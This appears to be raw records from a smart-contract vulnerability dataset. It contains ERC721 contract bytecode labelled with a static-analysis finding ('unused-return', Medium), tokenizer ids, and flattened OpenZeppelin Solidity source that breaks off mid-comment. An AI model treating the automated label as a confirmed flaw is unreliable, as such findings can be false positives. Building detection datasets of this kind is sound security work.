fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321d6ff46826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156126b857600080fd5b505afa1580156126cc573d6000803e3d6000fd5b505050506040513d60208110156126e257600080fd5b81019080805190602001909291905050508061272a5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806127615750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6127d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f554f50543a6f776e6572736869702f64656c656700000000000000000000000081525060200191505060405180910390fd5b505050565b60006127ea836000018360001b612cba565b905092915050565b600061281e846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b612d2a565b90509392505050565b6000612839836000018360001b612e06565b905092915050565b6000818360000180549050116128a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806133306022913960400191505060405180910390fd5b8260000182815481106128b157fe5b9060005260206000200154905092915050565b60006128d6836000018360001b612eee565b905092915050565b60008082846000018054905011612940576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806134ab6022913960400191505060405180910390fd5b600084600001848154811061295157fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008084600101600085815260200190815260200160002054905060008114158390612a3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a035780820151818401526020810190506129e8565b50505050905090810190601f168015612a305780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50846000016001820381548110612a5157fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b6000612a9f8473ffffffffffffffffffffffffffffffffffffffff16613007565b612aac5760019050612c8f565b6060612c1663150b7a0260e01b612ac1611c88565b888787604051602401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612b45578082015181840152602081019050612b2a565b50505050905090810190601f168015612b725780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001613352603291398773ffffffffffffffffffffffffffffffffffffffff1661301a9092919063ffffffff16565b90506000818060200190516020811015612c2f57600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b6000612cc68383613032565b612d1f578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612d24565b600090505b92915050565b6000808460010160008581526020019081526020016000205490506000811415612dd157846000016040518060400160405280868152602001858152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508460000180549050856001016000868152602001908152602001600020819055506001915050612dff565b82856000016001830381548110612de457fe5b90600052602060002090600202016001018190555060009150505b9392505050565b60008083600101600084815260200190815260200160002054905060008114612ee25760006001820390506000600186600001805490500390506000866000018281548110612e5157fe5b9060005260206000200154905080876000018481548110612e6e57fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480612ea657fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612ee8565b60009150505b92915050565b60008083600101600084815260200190815260200160002054905060008114612ffb5760006001820390506000600186600001805490500390506000866000018281548110612f3957fe5b9060005260206000209060020201905080876000018481548110612f5957fe5b9060005260206000209060020201600082015481600001556001820154816001015590505060018301876001016000836000015481526020019081526020016000208190555086600001805480612fac57fe5b6001900381819060005260206000209060020201600080820160009055600182016000905550509055866001016000878152602001908152602001600020600090556001945050505050613001565b60009150505b92915050565b600080823b905060008111915050919050565b60606130298484600085613055565b90509392505050565b600080836001016000848152602001908152602001600020541415905092915050565b6060824710156130b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806133ce6026913960400191505060405180910390fd5b6130b985613007565b61312b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b6020831061317b5780518252602082019150602081019050602083039250613158565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146131dd576040519150601f19603f3d011682016040523d82523d6000602084013e6131e2565b606091505b50915091506131f28282866131fe565b92505050949350505050565b6060831561320e578290506132c3565b6000835111156132215782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561328857808201518184015260208101905061326d565b50505050905090810190601f1680156132b55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b50805460018160011615610100020316600290046000825580601f106132f0575061330f565b601f01602090049060005260206000209081019061330e9190613312565b5b50565b5b8082111561332b576000816000905550600101613313565b509056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a2646970667358221220c296b0625cb16a2b63a252a56ad9e6d55d368f8c144665a11400946c7a0205df64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 19841, 2575, 22025, 2546, 10790, 2497, 2683, 7875, 2497, 2683, 27717, 22394, 2497, 26976, 27531, 2278, 2620, 17914, 26337, 25746, 16068, 21084, 22022, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 2364, 8145, 7028, 3206, 1010, 12252, 1050, 6199, 1011, 11892, 7047, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,543
0x96f75b7b623be893610970b4b31b43459d64a718
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /* * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` 